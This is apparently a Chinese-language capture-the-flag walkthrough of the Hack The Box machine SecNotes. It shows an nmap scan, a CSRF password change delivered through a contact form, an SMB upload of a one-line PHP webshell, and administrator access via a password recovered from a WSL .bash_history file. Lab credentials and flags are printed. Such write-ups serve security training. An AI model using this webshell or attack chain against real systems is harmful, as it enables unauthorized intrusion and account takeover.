[Meachines] [Medium] SecNotes XSRF跨站请求伪造+SMB-Webshell上传+Linux子系统命令历史记录泄露权限提升

信息收集

IP AddressOpening Ports
10.10.10.97TCP:80,445,8808

$ nmap -p- 10.10.10.97 --min-rate 1000 -sC -sV

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-title: Secure Notes - Login
|_Requested resource was login.php
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
445/tcp  open  microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
8808/tcp open  http         Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows

XSRF & SMB Webshell

1.创建用户

http://10.10.10.97/register.php

image-1.png

2.登录

image.png

3.联系页面

image-2.png

image-3.png

http://10.10.16.24/test

image-4.png

联系页面提交URL后靶机会自动访问该链接

4.修改密码

修改密码页面可以通过GET请求进行修改密码,并且不需要提供原始密码

image-6.png

image-5.png

5.在反馈联系页面发送链接,让tyler@secnotes.htb靶机访问触发XSRF漏洞

http://10.10.10.97/change_pass.php?password=test123&confirm_password=test123&submit=submit

image-7.png

image-8.png

存在SMB凭证,通过SMB上传webshell

\\secnotes.htb\new-site tyler / 92g!mA8BGjOirkL%OG*&

$ smbmap -H 10.10.10.97 -u tyler -p '92g!mA8BGjOirkL%OG*&'

image-9.png

$ smbclient -U 'tyler%92g!mA8BGjOirkL%OG*&' //10.10.10.97/new-site

image-10.png

$ echo '<?php system($_GET[1]); ?>'>/tmp/shell.php

smb: \> put /tmp/shell.php shell.php

$ curl 'http://10.10.10.97:8808/shell.php?1=whoami'

image-11.png

User.txt

c820c9c749a18ad20cd753302bcde81d

权限提升

image-12.png

PS C:\inetpub\new-site> type C:\Users\tyler\Desktop\bash.lnk

image-13.png

PS C:\inetpub\new-site> \windows\system32\bash.exe

PS C:\inetpub\new-site> Get-ChildItem -Recurse -Path C:\ -Filter "bash.exe"

image-14.png

PS C:\inetpub\new-site> cd C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root

PS C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root> type .bash_history

从Linux子系统中的.bash_history中获取到管理员密码

image-15.png

$ winexe -U '.\administrator%u6!4ZwgwOM#^OBf#Nwnh' //10.10.10.97 cmd.exe

image-17.png

Root.txt

da93ba016133741828c0cd57abb916ad

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值